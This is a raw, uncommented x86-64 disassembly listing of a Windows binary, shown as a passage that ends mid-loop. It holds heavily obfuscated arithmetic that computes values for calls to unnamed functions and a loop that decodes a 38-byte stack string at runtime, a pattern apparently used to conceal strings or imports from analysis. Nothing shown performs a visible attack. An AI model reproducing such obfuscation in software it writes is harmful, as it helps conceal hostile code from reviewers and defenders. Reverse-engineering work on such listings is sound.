movabs r8, 0xbac588ada0d96b7d
lea rcx, [r10 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xa3
and ecx, 0x8000003f
jge 0x1400044b0
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r10
ror rdx, cl
not rdx
movabs rax, 0xf0623978c727cda0
mov r15, rdx
imul r15, rax
add r8, r15
mov r9, r10
imul r9, r14
sub r9, r8
xor r9, rsi
mov cl, r8b
xor cl, 0xfc
and cl, 0xf
rol r9, cl
mov rax, r8
sub rax, qword [0x140301078]
xor r9, rax
movabs rax, 0x26e7ce67d1feb8e0
imul rdx, rax
movabs rax, 0x207d6a0a58f444f7
add rdx, rax
xor r9, rdx
xor r9, r11
mov rax, r9
and eax, 3
je 0x1400047ed
sub rax, 1
je 0x140004700
sub rax, 1
je 0x14000462e
cmp rax, 1
jne 0x140004864
mov rsi, r8
imul rsi, r10
movabs rax, 0xc58cda42716cfac7
add rax, r9
xor rsi, rax
ror rsi, 0x38
shr rsi, 0xc
not rsi
movabs rcx, 0x835725fa45b8
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0xba470dd5ce380e4f
xor rdx, rax
movzx eax, r9b
movzx ecx, sil
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97d1aa94b
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rbx
mov eax, 0xacc17ba1
add rcx, rax
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0xb1af3638dddf3394
sub rbx, rsi
shr rbx, cl
movabs rcx, 0xbacdad35ff1e76eb
add rcx, r15
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r13 + rcx*8]
imul rax, r9
sub rax, r14
xor rbx, rax
jmp 0x140004864
movabs rcx, 0xaaaaaa1aacd8869f
mov r10, r9
xor r10, rcx
movabs rcx, 0x1206ed6ed55ad3
imul r10, rcx
movabs rcx, 0xffff7e8a8ac8b443
imul r15, rcx
movabs rcx, 0x3807579359df98f0
add r10, rcx
add r10, r15
movabs rax, 0x277cd7be7e0851ff
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r10
not r8
lea rax, [0x140301060]
imul r8, qword [rax + rcx*8]
xor r8, 0xfffffffff98d504f
lea ecx, [r9 + 0x1d]
and cl, 0x3f
rol r8, cl
movabs rax, 0x20483dc480000000
imul r8, rax
mov rcx, r8
ror rcx, 0x10
not rcx
movabs rax, 0x9b2de6b2c7934f60
imul rcx, rax
mov rax, r10
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x140004864
movabs rax, 0x48e6a6ae61451637
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x2b1e11350e45ee2d
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
mov cl, r8b
and cl, 0x3f
rol r11, cl
movabs rcx, 0xbac588ada0d96b7d
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xfffff7525f269483
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7f01cf0b2
or r11, rax
mov rbx, r12
imul rbx, rsi
sub rbx, r8
mov rax, r14
sub rax, r11
xor rbx, rax
movabs rax, 0xc7a7c6a6a114f0bf
xor rbx, rax
mov rax, r9
imul rax, r8
imul rax, rbx
mov rdi, r10
sub rdi, rax
movabs rax, 0x78958946e46bca5
add rdi, rax
xor rdi, r14
movzx eax, r10b
imul ecx, eax, 0x1a
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140004864
mov rcx, r9
imul rcx, qword [0x140301080]
mov rdx, qword [0x140301068]
and rcx, rdx
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 0x29
imul r11, r8
mov rdi, r14
not rdi
imul rdi, r10
movabs rax, 0x7cd8a7de7ce5a15e
imul rdi, rax
imul r14, r13, 0xffffffffc1ca3ca0
sub r14, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140004851
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0xbac588ada0d96b7d
add r14, rax
add r14, r15
movabs rax, 0xff055d7b8caeab93
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r11, rdi
lea rax, [0x140301060]
imul r11, qword [rax + rsi*8]
not r8
imul r8, r9
imul r8, r14
imul r8, rbx
movabs rcx, 0xf5ed7e878b1de14f
xor rcx, r10
not rcx
xor rcx, r8
sub rcx, r11
call fcn.1400013f0
mov qword [0x14030af80], rax
movabs rdi, 0x373a5248a27b6abb
xor ebx, ebx
movabs rax, 0xb9d85d944c1ce156
movabs r14, 0x647520b5bba6d647
movabs r11, 0x678a5dedfeed0d51
mov r13, qword [0x140301070]
mov rsi, r13
imul rsi, rax
not rsi
movabs rcx, 0x9875a212071388f1
mov r12, qword [0x140301060]
mov rax, r12
xor rax, rcx
and rsi, rax
ror rsi, 0x3c
shr rsi, 8
movabs rax, 0xa6c28f020bd64440
mov r10, r12
imul r10, rax
add r10, rdi
movabs rax, 0xfcd376b80000000
xor r10, rax
shr r10, 0x1f
not r10
movabs r8, 0xc8c5adb75d849545
lea rcx, [r10 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x67
and ecx, 0x8000003f
jge 0x1400049a1
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r10
ror rdx, cl
not rdx
movabs rax, 0x4971ce067b7167a0
mov r15, rdx
imul r15, rax
lea r9, [r15 + r8]
mov r8, r10
imul r8, rsi
sub r8, r9
xor r8, r14
mov cl, r9b
xor cl, 0xf8
and cl, 0xf
rol r8, cl
mov rax, r9
sub rax, qword [0x140301078]
xor r8, rax
movabs rax, 0xc201a5e92a9ef1e0
imul rdx, rax
movabs rax, 0x6c57bc3b97ce9b67
add rdx, rax
xor r8, rdx
xor r8, r11
mov rax, r8
and eax, 3
je 0x140004cde
sub rax, 1
je 0x140004bf1
sub rax, 1
je 0x140004b20
cmp rax, 1
jne 0x140004d54
mov r14, r9
imul r14, r10
movabs rax, 0x816efa3ddcf07573
add rax, r8
xor r14, rax
ror r14, 4
shr r14, 0xc
not r14
movabs rcx, 0x83572d945074
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0xc84728cf3b0be5b3
xor rdx, rax
movzx eax, r8b
movzx ecx, r14b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97574bc8f
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rdi
mov eax, 0xa4af6e65
add rcx, rax
movabs r12, 0xaaaaaaaaaaaaaaab
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rdi, 0x2ca1858af4ba802c
sub rdi, r14
shr rdi, cl
movabs rcx, 0xc8cdd23fb3afb3ef
add rcx, r15
mov rax, r12
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r13 + rcx*8]
imul rax, r8
sub rax, rsi
xor rdi, rax
jmp 0x140004d54
movabs rcx, 0xaaaaaa1aa4b6935b
mov r10, r8
xor r10, rcx
movabs rcx, 0x1206ed66bb4f17
imul r10, rcx
movabs rcx, 0xffff7e8a82a6a187
imul r15, rcx
movabs rcx, 0x7212afbf7cf61574
add r10, rcx
add r10, r15
movabs rax, 0x277cd7be7666443b
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r10
not r9
lea rax, [0x140301060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffff1e3458b
lea ecx, [r8 + 0x19]
and cl, 0x3f
rol r9, cl
movabs rax, 0x480a250600000000
imul r9, rax
mov rcx, r9
ror rcx, 1
not rcx
movabs rax, 0x9b2de6b2e62b1870
imul rcx, rax
mov rax, r10
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, sil
and cl, 0x3f
ror rdx, cl
mov rax, rdi
mov rdi, rdx
imul rdi, rax
jmp 0x140004d54
movabs rax, 0x8bd0e5c75853ba83
imul r8, rax
movabs rax, 0xd79435e50d79435f
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0x9b8adf4a445929b8
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
mov cl, r9b
and cl, 0x3f
rol r11, cl
movabs rcx, 0xc8c5adb75d849545
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x1248a27b6abb
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7f872e576
or r11, rax
mov rdi, r13
imul rdi, r14
sub rdi, r9
mov rax, rsi
sub rax, r11
xor rdi, rax
movabs rax, 0xc7a7c6a6a97ae57b
xor rdi, rax
mov rax, r8
imul rax, r9
imul rax, rdi
mov rbx, r10
sub rbx, rax
movabs rax, 0x78958946628a961
add rbx, rax
xor rbx, rsi
movzx eax, r10b
imul ecx, eax, 0x1e
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x140004d54
mov rcx, r8
imul rcx, qword [0x140301080]
mov rdx, qword [0x140301068]
and rcx, rdx
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 0x11
imul r11, r9
mov rbx, rsi
not rbx
imul rbx, r10
movabs rax, 0x7cd8a7de748bb49a
imul rbx, rax
imul rsi, r12, 0xfffffffff9fe85a0
sub rsi, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140004d41
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rsi, cl
movabs rax, 0xc8c5adb75d849545
add rsi, rax
add rsi, r15
movabs rax, 0xff055d7b84c0be57
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r11, rbx
lea rax, [0x140301060]
imul r11, qword [rax + r14*8]
not r9
imul r9, r8
imul r9, rsi
imul r9, rdi
movabs rcx, 0xf5ed7e878373f48b
xor rcx, r10
not rcx
xor rcx, r9
sub rcx, r11
call fcn.14000133c
mov qword [0x14030af48], rax
movabs rdi, 0xf175766a305366da
movabs rbx, 0xd130ce966641d10b
movabs rax, 0x1f7e823e7655e000
mov r11, qword [0x140301070]
imul r11, rax
movabs rax, 0x8a9dcda9cf8f5000
xor r11, rax
mov rcx, r11
imul rcx, rbx
mov qword [rsp + 0x30], rcx
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r11
and r9, rbx
lea rsi, [0x140301060]
imul r9, qword [rsi + rcx*8]
movabs rax, 0x18c598607374ccac
imul r9, rax
shr r9, 3
movabs rax, 0x527b2dd88cedb29a
xor r9, rax
movabs rax, 0xffffff57cef089d9
mov r14, r11
imul r14, rax
sub r14, 0xe196c12
xor r14, r9
xor r14, qword [0x140301060]
mov rax, r9
imul rax, qword [0x140301070]
movabs rcx, 0xb9de928bc74336f8
imul rax, rcx
not rax
and r14, rax
ror r14, 2
shr r14, 8
movabs r8, 0x2ecf316999be2ef5
lea rcx, [r11 + r8]
xor rcx, 0xfffffffff9cd3df5
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0xc1e871a00338110
mov r15, qword [rsi + rcx*8]
imul r15, rax
sub r15, r8
movabs rcx, 0x59c7dfa08f9d9578
mov rax, r9
imul rax, rcx
xor r15, rax
shr r15, 0x1f
not r15
mov r12, r15
xor r12, r11
lea rcx, [r15 + r8]
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r15b
movzx ecx, byte [rsi + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xe9
mov eax, 0x8000003f
and ecx, eax
jge 0x140004f31
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r12, cl
not r12
imul r12, r9
imul r13, r12, 0xfffffffff1e693ee
lea r10, [r8 + r13]
mov r8, r15
imul r8, r14
sub r8, r10
xor r8, rdi
movzx esi, r10b
mov ecx, esi
xor ecx, 6
and ecx, 0xf
and ecx, eax
jge 0x140004f6a
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
movabs rax, 0x4d22706d071ba93a
imul r12, rax
movabs rax, 0x448730649648f679
sub r12, rax
xor r8, r12
mov rax, r10
sub rax, qword [0x140301078]
xor r8, rax
xor r8, r9
xor r8, r11
mov rax, r8
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x1400052f0
sub rax, 1
je 0x1400051b7
sub rax, 1
je 0x1400050bd
cmp rax, 1
jne 0x1400053a1
mov rdi, r10
imul rdi, r15
movabs rax, 0x6a1c8415218450ad
add rax, r8
xor rdi, rax
ror rdi, 0x3a
shr rdi, 0xc
xor rdi, r11
not rdi
movabs rcx, 0x835725b238fe
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0x2e4db411f717368d
xor rdx, rax
movzx eax, r8b
movzx ecx, dil
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97d52d401
sub rax, r15
mov r15, rdx
xor r15, rax
mov rcx, r15
imul rcx, rbx
mov eax, 0xac8906eb
add rcx, rax
movabs rsi, 0xaaaaaaaaaaaaaaab
mov rax, rsi
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x140301060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rbx, 0x7cbf1e8d3cf6064
sub rbx, rdi
shr rbx, cl
movabs rcx, 0x2ed755f1f7cba51d
add rcx, r13
mov rax, rsi
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
imul rax, qword [r12 + rcx*8]
imul rax, r8
sub rax, r14
xor rbx, rax
jmp 0x1400053a1
movabs rax, 0xaaaaaa1aac90fbd5
mov rcx, r8
xor rcx, rax
movabs rax, 0x1206ed6e9d2799
imul rcx, rax
movabs rdx, 0xfff17ca87bf2cda9
mov rax, r9
xor rax, rdx
sub rcx, rax
movabs rax, 0xffff7e8a8a80c909
imul r13, rax
movabs r15, 0x416e6f70d18ecca6
add r15, rcx
add r15, r13
movabs rax, 0x277cd7be7e402cb5
mov rcx, r15
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r10, r15
not r10
lea rax, [0x140301060]
imul r10, qword [rax + rcx*8]
xor r10, 0xfffffffff9c52d05
lea ecx, [r8 + 0x17]
and cl, 0x3f
rol r10, cl
movabs rcx, 0x3870110480000000
mov rax, qword [rsp + 0x30]
xor rax, rcx
movabs rcx, 0x7c7a7dc690c227b4
and rax, rcx
imul r10, rax
mov rcx, r10
ror rcx, 0x12
not rcx
movabs rax, 0x9b2de6b2c6b2ba48
imul rcx, rax
mov rax, r15
sub rax, r10
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x1400053a1
movabs rax, 0xc67ad765ff098b2b
imul r8, rax
movabs rax, 0xd79435e50d79435f
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0x2ecf316999be2ef4
mov rax, r11
imul rax, rdx
xor rax, rdi
not rax
shl rax, cl
xor r9, rax
and esi, 0x8000003f
jge 0x14000520d
dec esi
or esi, 0xffffffc0
inc esi
mov cl, sil
rol r9, cl
movabs rcx, 0x2ecf316999be2ef5
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xe966641d10b
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r9, rax
movabs rax, 0xffffc7a7f0548df8
or r9, rax
mov rbx, qword [0x140301070]
imul rbx, rdi
sub rbx, r10
mov rax, r14
sub rax, r9
xor rbx, rax
movabs rax, 0xc7a7c6a6a15c8df5
xor rbx, rax
movabs rax, 0xcccccccccccccccd
mul r11
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r11
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rbx
div rcx
mov rcx, rdx
mov rdx, r8
imul rdx, r10
imul rdx, rbx
shr rdx, cl
mov rax, r15
sub rax, rdx
sub rax, r11
movabs r11, 0x78958946e0ec1ef
add r11, rax
xor r11, r14
mov cl, r15b
shl cl, 4
and cl, 0x3f
rol r11, cl
not r11
jmp 0x1400053a1
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r9
sub rcx, rax
mov rax, r8
imul rax, qword [0x140301080]
lea rdx, [0x140301060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r9
and r9b, 0x3f
mov cl, r9b
mov r9, rdx
ror r9, cl
imul r9, r10
not r14
imul r14, r15
movabs rax, 0x7cd8a7de7caddc14
imul r14, rax
mov rax, r9
imul rax, r11
mov r11, r14
xor r11, rax
imul rsi, qword [0x140301060], 0xfffffffff1e693ee
mov rdx, qword [0x140301068]
sub rsi, rdx
mov al, r11b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x14000538e
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rsi, cl
movabs r14, 0x2ecf316999be2ef5
add r14, rsi
add r14, r13
movabs rax, 0xff055d7b8ce6d6d9
xor rdi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rdi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rdi, rax
xor r9, r11
lea rax, [0x140301060]
imul r9, qword [rax + rdi*8]
not r10
imul r10, r8
imul r10, r14
imul r10, rbx
movabs rcx, 0xf5ed7e878b559c05
xor rcx, r15
not rcx
xor rcx, r10
sub rcx, r9
call fcn.140001168
mov qword [0x14030af78], rax
movaps xmm0, xmmword [0x1402db4d0]
movaps xmmword [rbp], xmm0
movaps xmm1, xmmword [0x1402db4e0]
movaps xmmword [rbp + 0x10], xmm1
movaps xmm0, xmmword [0x1402db4f0]
movaps xmmword [rbp + 0x20], xmm0
movaps xmm1, xmmword [0x1402db500]
movaps xmmword [rbp + 0x30], xmm1
movaps xmm0, xmmword [0x1402db510]
movaps xmmword [rbp + 0x40], xmm0
movaps xmm1, xmmword [0x1402db520]
movaps xmmword [rbp + 0x50], xmm1
mov eax, dword [0x1402db530]
mov dword [rbp + 0x60], eax
mov al, byte [0x1402db534]
mov byte [rbp + 0x64], al
movabs rsi, 0xf47f4395bd2767c5
movabs rdi, 0x2a184e14b4947229
xor ebx, ebx
movabs rax, 0x40056a60510102f0
movabs r10, 0x8a33042ddf7d052
mov r13, qword [0x140301070]
mov r15, r13
imul r15, rax
not r15
movabs rdx, 0xf75ccfbd21e44b78
mov rax, qword [0x140301060]
xor rax, rdx
and r15, rax
ror r15, 0x20
shr r15, 8
movabs rax, 0xf43297e6ce33a2b0
mov r11, qword [0x140301060]
imul r11, rax
add r11, rdi
movabs rax, 0x682cced180000000
xor r11, rax
shr r11, 0x1f
not r11
movabs r8, 0xd5e7b1eb4b6b8dd7
lea rcx, [r11 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
lea rdx, [0x140301060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xa9
and ecx, 0x8000003f
jge 0x140005536
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, r11
ror rdx, cl
not rdx
movabs rax, 0xc27d0180a3dfd374
mov r12, rdx
imul r12, rax
add r8, r12
mov r9, r11
imul r9, r15
sub r9, r8
xor r9, rsi
movzx r14d, r8b
mov ecx, r14d
xor ecx, 6
and ecx, 0xf
jge 0x140005576
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r9, cl
mov rax, r8
sub rax, qword [0x140301078]
xor r9, rax
movabs rax, 0xfd1281b7ba128594
imul rdx, rax
movabs rax, 0x7d3e905da508a91
sub rdx, rax
xor r9, rdx
xor r9, r10
mov rax, r9
and eax, 1
xor rax, 2
je 0x140005893
sub rax, 1
je 0x140005797
sub rax, 1
je 0x1400056c5
cmp rax, 1
jne 0x14000590d
mov rsi, r8
imul rsi, r11
movabs rax, 0xd7579f75373d587f
add rax, r9
xor rsi, rax
ror rsi, 0x1a
shr rsi, 0xc
not rsi
movabs rcx, 0x835721980abe
mov rdx, qword [0x140301088]
add rdx, rcx
movabs rax, 0xd565349321e8a7ef
xor rdx, rax
movzx eax, sil
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97978e641
sub rax, r11
mov r11, rdx
xor r11, rax
mov rcx, r11
imul rcx, rdi
mov eax, 0xa8a334ab
add rcx, rax
movabs r14, 0xaaaaaaaaaaaaaaab
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x140301060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rdi, 0x47d704ca708aaf2
sub rdi, rsi
shr rdi, cl
movabs rcx, 0xd5efd673a592d23f
add rcx, r12
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r13 + rcx*8]
imul rax, r9
sub rax, r15
xor rdi, rax
jmp 0x14000590d
movabs rcx, 0xaaaaaa1aa8bac995
mov r11, r9
xor r11, rcx
movabs rcx, 0x1206ed6ab715d9
imul r11, rcx
movabs rcx, 0xffff7e8a8eaafb49
imul r12, rcx
movabs rcx, 0xe739a6aa54ff0add
add r11, rcx
add r11, r12
movabs rax, 0x277cd7be7a6a1ef5
mov rcx, r11
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r11
not r8
lea rax, [0x140301060]
imul r8, qword [rax + rcx*8]
xor r8, 0xfffffffffdef1f45
lea ecx, [r9 + 0x17]
and cl, 0x3f
rol r8, cl
movabs rax, 0x485a110600000000
imul r8, rax
mov rcx, r8
ror rcx, 0xd
not rcx
movabs rax, 0x9b2de6b2d61a7348
imul rcx, rax
mov rax, r11
sub rax, r8
lea rdx, [rcx + rax*4]
mov cl, r15b
and cl, 0x3f
ror rdx, cl
mov rax, rdi
mov rdi, rdx
imul rdi, rax
jmp 0x14000590d
movabs rax, 0x2b8113d1ff74f993
imul r9, rax
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0xb80bc6a42d8983a
shl rdx, cl
mov rax, r10
mov r10, rdx
xor r10, rax
and r14d, 0x8000003f
jge 0x1400057ea
dec r14d
or r14d, 0xffffffc0
inc r14d
mov cl, r14b
rol r10, cl
movabs rcx, 0xd5e7b1eb4b6b8dd7
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xe14b4947229
lea rax, [0x140301060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f47ebfb8
or r10, rax
mov rdi, r13
imul rdi, rsi
sub rdi, r8
mov rax, r15
sub rax, r10
xor rdi, rax
movabs rax, 0xc7a7c6a6a576bfb5
xor rdi, rax
mov rax, r9
imul rax, r8
imul rax, rdi
mov rbx, r11
sub rbx, rax
movabs rax, 0x78958946a24f3af
add rbx, rax
xor rbx, r15
mov cl, r11b
shl cl, 4
and cl, 0x3f
rol rbx, cl
not rbx
jmp 0x14000590d
mov rcx, r9
imul rcx, qword [0x140301080]
and rcx, r13
mov rax, r10
mov r10, rcx
xor r10, rax
ror r10, 0x12
imul r10, r8
mov rbx, r15
not rbx
imul rbx, r11
movabs rax, 0x7cd8a7de7887ee54
imul rbx, rax
imul r14, qword [0x140301060], 0xfffffffffc139b2a
mov rdx, qword [0x140301068]
sub r14, rdx
mov al, bl
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1400058fa
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs r15, 0xd5e7b1eb4b6b8dd7
add r15, r14
add r15, r12
movabs rax, 0xff055d7b88cce499
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r10, rbx
lea rax, [0x140301060]
imul r10, qword [rax + rsi*8]
not r8
imul r8, r9
imul r8, r15
imul r8, rdi
movabs rcx, 0xf5ed7e878f7fae45
xor rcx, r11
not rcx
xor rcx, r8
sub rcx, r10
call fcn.1400011b0
mov qword [0x14030af40], rax
movdqa xmm0, xmmword [0x1402db570]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1402db560]
movdqu xmmword [rbp - 0x60], xmm1
mov dword [rbp - 0x50], 0x7c0d1846
mov word [rbp - 0x4c], 0xdbd3
xor r15d, r15d
movabs rcx, 0x13cce94adbcd969a
mov r12, qword [0x140301040]
xor edx, edx
mov rax, r15
div rcx
add dl, 0x35
mov r14b, dl
sar r14b, 7
or r14b, dl
mov al, r14b
sar al, 2
mov sil, r14b
shl sil, 6
mov r11b, sil
or r11b, al
movsx rcx, r14b
or sil, al
mov r9b, r14b
sar r9b, 5
mov al, r14b
shl al, 3
or r9b, al
mov r10b, r14b
sar r10b, 3
mov al, r14b
shl al, 5
or r10b, al
mov r8b, r14b
sar r8b, 4
mov al, r14b
shl al, 4
or r8b, al
mov bl, r14b
not bl
mov dil, r14b
ror dil, 7
lea eax, [r10 - 0x50]
add dil, al
mov dl, byte [rbp + r15 - 0x70]
sub dl, r11b
sub dl, 2
mov eax, 4
sub al, sil
xor dl, al
sar rcx, 1
mov al, r14b
shl al, 7
or cl, al
sub dl, cl
sub dl, byte [0x140301050]
sub dl, byte [0x140301058]
sub dl, 0x3f
add dl, sil
add dl, r14b
lea eax, [r11 + 7]
add al, r14b
xor dl, al
sub dl, byte [0x140301048]
sub dl, r9b
sub dl, r14b
sub dl, 0x50
add dl, r12b
add dl, sil
mov al, r8b
sub al, r9b
add al, r11b
add al, r14b
xor dl, al
mov al, r14b
sub al, r8b
xor al, r14b
sub dl, al
sub dl, r10b
add dl, 0x30
add dl, r14b
xor dil, dl
mov al, r14b
add al, al
sub dil, al
add sil, sil
add dil, 0x51
add dil, sil
add dil, r12b
not dil
mov al, r14b
sar al, 7
or al, r14b
sub dil, al
mov al, byte [0x140301038]
xor al, bl
sub dil, al
mov al, byte [0x140301030]
xor al, r14b
add dil, al
mov al, r14b
xor al, 0x40
sub dil, al
movsx eax, r14b
movsx ecx, bl
imul ecx, eax
xor dil, cl
mov byte [rbp + r15 - 0x70], dil
inc r15
cmp r15, 0x26
movabs rcx, 0x13cce94adbcd969a
jb 0x1400059b0
lea rax, [rbp - 0x70]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 0x26
mov r9, qword [rbp + 0x140]
mov r8, qword [rsp + 0x50]
lea rdx, [rbp]
lea rcx, [0x140301030]
call fcn.140257114
mov rdx, rax
mov qword [rsp + 0x40], rax
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140005b66
xor eax, eax
cmp qword [rsp + 0x58], rax
jbe 0x140005b66
mov byte [rax + rcx], 0
inc rax
